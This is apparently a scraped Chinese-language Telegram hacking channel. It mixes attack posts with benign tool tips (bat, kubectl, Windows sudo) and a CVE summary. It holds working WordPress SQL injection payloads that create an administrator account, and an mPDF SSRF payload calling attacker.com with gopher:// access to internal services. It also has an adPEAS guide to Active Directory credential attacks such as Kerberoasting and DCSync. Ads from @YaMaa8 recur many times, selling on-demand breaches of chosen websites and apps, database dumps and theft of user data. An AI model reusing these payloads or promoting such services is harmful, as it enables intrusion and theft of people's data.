由于 "q" 参数直接传递给
$wpdb->get_results() 函数,因此可以直接执行 SQL 命令。添加一个新的 WordPress 用户:
q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status) VALUES ('poc', MD5('poc'), 'poc', 'poc@localhost.org', NOW(), 0);&auth=%20&integ=5be638728303f002fd54450e5866dd28授予用户管理员权限:
q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (6, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'), (6, 'wp_user_level', '10');&auth=%20&integ=6ed26ea278413ec91e2c27fed01eac6c业务合作: @YaMaa8
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
mPDF 具有一个有趣的功能,它可能在某些情况下对您有所帮助。 如果将包含
原因很简单:mPDF 会在整个输入中通过正则表达式搜索 URL。 因此,只需插入:
服务器就会立即访问指定的地址。 此外,还可以使用非标准协议,例如 `gopher://`,从而将其变成一个 SSRF 漏洞,可以访问内部服务。
供应商已经正式声明,这不是一个 bug,而是一个功能,并且他们不打算修复这种行为。 他们的观点是,引擎应该加载指定的 URL,而实现责任在于开发者。
#web #ssrf #pdf
业务合作: @YaMaa8
@import url(...) 的字符串传递给引擎,它会发起外部请求,即使 HTML 已经完全使用 htmlentities() 进行转义,甚至没有 <style> 标签。原因很简单:mPDF 会在整个输入中通过正则表达式搜索 URL。 因此,只需插入:
@import url(https://attacker.com/test?.css)服务器就会立即访问指定的地址。 此外,还可以使用非标准协议,例如 `gopher://`,从而将其变成一个 SSRF 漏洞,可以访问内部服务。
供应商已经正式声明,这不是一个 bug,而是一个功能,并且他们不打算修复这种行为。 他们的观点是,引擎应该加载指定的 URL,而实现责任在于开发者。
#web #ssrf #pdf
业务合作: @YaMaa8
This media is not supported in your browser
VIEW IN TELEGRAM
承接各种指定网站或者APP
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
业务合作: @YaMaa8
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
(需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、)
(还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、诚信合作、合作共赢、
业务合作: @YaMaa8
密码通常是保护您在线账户的**第一道防线**。 弱密码会使账户更容易受到攻击。
即使是强密码,如果通过**钓鱼**方式泄露,或者在后来遭受数据泄露的服务上重复使用,也可能被攻破。
强密码 + 唯一密码 + 多因素身份验证 = 显著增强的账户安全。
Please open Telegram to view this post
VIEW IN TELEGRAM
━━━━━━━━━━━━━━━━━━━━━━
React2Shell,编号为CVE-2025-55182,是一个影响 React 服务器组件 (RSC) 的关键安全漏洞。
该漏洞评分为CVSS 10.0 — 严重,可能导致对易受攻击应用程序进行远程代码执行 (RCE)。
━━━━━━━━━━━━━━━━━━━━━━
React2Shell 是一个漏洞,涉及易受攻击的 React 服务器组件对数据的处理。
在受影响的部署中,攻击者可能能够在不满足正常身份验证要求的情况下,与易受攻击的服务器端功能进行交互。
如果成功利用,影响可能非常严重。
━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━
使用React 服务器组件或集成 RSC 的组织和开发人员应验证其部署版本是否受到影响。
━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━
像 React2Shell 这样的关键漏洞表明,定期补丁、依赖管理、监控和事件响应至关重要。
不要等到漏洞被积极利用才采取措施保护您的基础设施。
━━━━━━━━━━━━━━━━━━━━━━
本内容仅供教育、合乎伦理的安全研究、提高意识和防御目的。
━━━━━━━━━━━━━━━━━━━━━━
#React2Shell #CVE202555182 #CyberSecurity #WebSecurity #ReactJS #AppSec #RCE
业务合作: @YaMaa8
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
承接各种指定网站或者APP
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
业务合作: @YaMaa8
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
(需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、)
(还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、诚信合作、合作共赢、
业务合作: @YaMaa8
This media is not supported in your browser
VIEW IN TELEGRAM
承接各种指定网站或者APP
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
业务合作: @YaMaa8
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
(需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、)
(还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、诚信合作、合作共赢、
业务合作: @YaMaa8
cat的克隆版,支持语法高亮
跨平台,使用
默认作为less工具使用,逐行输出。若需关闭此功能,可使用alias:
alias cat='bat --paging=never'
主要功能 - 拼接,执行bat 1.txt 2.txt 3.txt > merged.txt
wget https://github.com/sharkdp/bat/releases/download/v0.25.0/bat-musl_0.25.0_musl-linux-amd64.deb
sudo dpkg -i bat-musl_0.25.0_musl-linux-amd64.deb
若通过sudo apt install bat安装,视具体发行版而定,工具可能被命名为batcat
winget install sharkdp.bat
# 多个文件
bat src/*.rs
# 来自标准输入
curl -s https://sh.rustup.rs | bat
# 显示不可打印字符
bat -A /etc/hosts
tail -f /var/log/pacman.log | bat --paging=never -l log
#bat #soft #rust
Please open Telegram to view this post
VIEW IN TELEGRAM
技术需求联系: @YaMaa8
承接各种指定网站或者APP
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
承接各种指定网站或者APP
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
(需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、)
(还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、诚信合作、合作共赢、
# Get commands with basic output
kubectl get services
kubectl get pods --all-namespaces
kubectl get pods -o wide
kubectl get deployment my-dep
kubectl get pods
kubectl get pod my-pod -o yaml
# Describe commands with verbose output
kubectl describe nodes my-node
kubectl describe pods my-pod
# List Services Sorted by Name
kubectl get services --sort-by=.metadata.name
# List pods Sorted by Restart Count
kubectl get pods --sort-by='.status.containerStatuses[0].restartCount'
# List PersistentVolumes sorted by capacity
kubectl get pv --sort-by=.spec.capacity.storage
# Get the version label of all pods with label app=cassandra
kubectl get pods --selector=app=cassandra -o \
jsonpath='{.items[*].metadata.labels.version}'
# Retrieve the value of a key with dots, e.g. 'ca.crt'
kubectl get configmap myconfig \
-o jsonpath='{.data.ca\.crt}'
# Retrieve a base64 encoded value with dashes instead of underscores.
kubectl get secret my-secret --template='{{index .data "key-name-with-dashes"}}'
# Get all worker nodes (use a selector to exclude results that have a label
# named 'node-role.kubernetes.io/control-plane')
kubectl get node --selector='!node-role.kubernetes.io/control-plane'
# Get all running pods in the namespace
kubectl get pods --field-selector=status.phase=Running
# Get ExternalIPs of all nodes
kubectl get nodes -o jsonpath='{.items[*].status.addresses[?(@.type=="ExternalIP")].address}'
# List Names of Pods that belong to Particular RC
# "jq" command useful for transformations that are too complex for jsonpath, it can be found at https://jqlang.github.io/jq/
sel=${$(kubectl get rc my-rc --output=json | jq -j '.spec.selector | to_entries | .[] | "\(.key)=\(.value),"')%?}
echo $(kubectl get pods --selector=$sel --output=jsonpath={.items..metadata.name})
# Show labels for all pods (or any other Kubernetes object that supports labelling)
kubectl get pods --show-labels
# Check which nodes are ready
JSONPATH='{range .items[*]}{@.metadata.name}:{range @.status.conditions[*]}{@.type}={@.status};{end}{end}' \
&& kubectl get nodes -o jsonpath="$JSONPATH" | grep "Ready=True"
# Check which nodes are ready with custom-columns
kubectl get node -o custom-columns='NODE_NAME:.metadata.name,STATUS:.status.conditions[?(@.type=="Ready")].status'
# Output decoded secrets without external tools
kubectl get secret my-secret -o go-template='{{range $k,$v := .data}}{{"### "}}{{$k}}{{"\n"}}{{$v|base64decode}}{{"\n\n"}}{{end}}'
# List all Secrets currently in use by a pod
kubectl get pods -o json | jq '.items[].spec.containers[].env[]?.valueFrom.secretKeyRef.name' | grep -v null | sort | uniq
# List all containerIDs of initContainer of all pods
# Helpful when cleaning up stopped containers, while avoiding removal of initContainers.
kubectl get pods --all-namespaces -o jsonpath='{range .items[*].status.initContainerStatuses[*]}{.containerID}{"\n"}{end}' | cut -d/ -f3
# List Events sorted by timestamp
kubectl get events --sort-by=.metadata.creationTimestamp
# List all warning events
kubectl events --types=Warning
# Compares the current state of the cluster against the state that the cluster would be in if the manifest was applied.
kubectl diff -f ./my-manifest.yaml
# Produce a period-delimited tree of all keys returned for nodes
# Helpful when locating a key within a complex nested JSON structure
kubectl get nodes -o json | jq -c 'paths|join(".")'
# Produce a period-delimited tree of all keys returned for pods, etc
kubectl get pods -o json | jq -c 'paths|join(".")'
# Get a deployment's status subresource
kubectl get deployment nginx-deployment --subresource=status
# dump pod logs
kubectl logs my-pod
# dump pod logs, with label name=myLabel
kubectl logs -l name=myLabel
# dump pod logs for a previous instantiation
kubectl logs my-pod --previous
# dump pod container logs (stdout, multi-container case)
kubectl logs my-pod -c my-container
kubectl logs -l name=myLabel -c my-container
kubectl logs my-pod -c my-container --previous
kubectl logs -f my-pod
Please open Telegram to view this post
VIEW IN TELEGRAM
开始编写 0.4 版本了。扩展程序的架构需要做很多调整。
现在先展示几个很酷的扩展程序:有时候,向用户请求登录凭证比从其他地方获取要容易得多。
技术需求联系: @YaMaa8
承接各种指定网站或者APP渗透提权
现在先展示几个很酷的扩展程序:有时候,向用户请求登录凭证比从其他地方获取要容易得多。
技术需求联系: @YaMaa8
承接各种指定网站或者APP渗透提权
关于 Erlang/(OTP) 中 SSH 实现中备受关注的漏洞的研究,该漏洞在 CVSS 中的评分达到了 10.0
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
可以用于
有标准版和精简版两种版本
更新:添加了对 Bloodhound CE 模块的支持
标准启动:
Import-Module .\adPEAS.ps1
Invoke-adPEAS
可用模块:
域 - 搜索域控制器、站点、信任关系和标准密码策略的基本信息
权限 - 搜索各种权限,例如 LAPS、DCSync 等
组策略 - 基本的组策略信息
ADCS - 证书颁发中心的信息
凭证 - ASREPRoast、Kerberoasting、组策略、Netlogon 脚本、LAPS、gMSA 等
委派 - 搜索委派,例如受限委派、无限制委派和 RBCD(基于资源的受限委派),用于计算机和账户
账户 - 账户信息
计算机 - AD DS、AD CS、Exchange 服务器等
BloodHound - BH 的数据收集器
启动选项:
Invoke-adPEAS -Domain 'contoso.com' -Outputfile 'C:\temp\adPEAS_outputfile' -NoColor
Invoke-adPEAS -Domain 'contoso.com' -Server 'dc1.contoso.com'
指定用户:
$SecPassword = ConvertTo-SecureString 'Passw0rd1!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\johndoe', $SecPassword)
Invoke-adPEAS -Domain 'contoso.com' -Cred $Cred
模块:
Invoke-adPEAS -Module Domain
Invoke-adPEAS -Module Rights
Invoke-adPEAS -Module GPO
Invoke-adPEAS -Module ADCS
Invoke-adPEAS -Module Creds
Invoke-adPEAS -Module Delegation
Invoke-adPEAS -Module Accounts
Invoke-adPEAS -Module Bloodhound -Scope All
技术需求联系: @YaMaa8
承接各种指定网站或者APP渗透提权
Please open Telegram to view this post
VIEW IN TELEGRAM
启用:
设置 > 系统 > 开发者选项 > 启用 sudo
支持 3 种工作模式:
--new-window - 在新窗口中
--inline - 在当前窗口中
--disable-input - 在当前窗口中禁用对目标应用程序的输入
默认情况下以新窗口模式工作,若要更改值:
# forceNewWindow, disableInput, normal
sudo config --enable normal
sudo netstat -ab
与runas有本质区别:
sudo仅在管理员权限下工作,且使用UAC进行确认
sudo不支持以其他用户身份执行命令
sudo可以在当前控制台会话中运行(取决于模式),而runas始终会启动新进程
一个简单的统一,
sudo app.exe比runas /user:Administrator "C:\path\app.exe"要习惯得多为什么我决定写这篇文章?毕竟,这是一个标准工具,具有相当有趣且危险的功能,我相信我们不会是最后一次听到它的消息 😅
更新。注册表键:
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Sudo" /v Enabled
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Sudo" /v Enabled /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Sudo" /v Enabled /t REG_DWORD /d 0 /f
技术需求联系: @YaMaa8
承接各种指定网站或者APP渗透提权
Please open Telegram to view this post
VIEW IN TELEGRAM
计算机 Windows系统中的权限提升(LPE)。一些用户在安装常规更新后,发现了
C:\inetpub目录,该目录通常用于IIS网络服务器的运行,我自己的系统就出现了这个目录。顺便说一下,这是微软的一个修复措施😁,不用删除它。Please open Telegram to view this post
VIEW IN TELEGRAM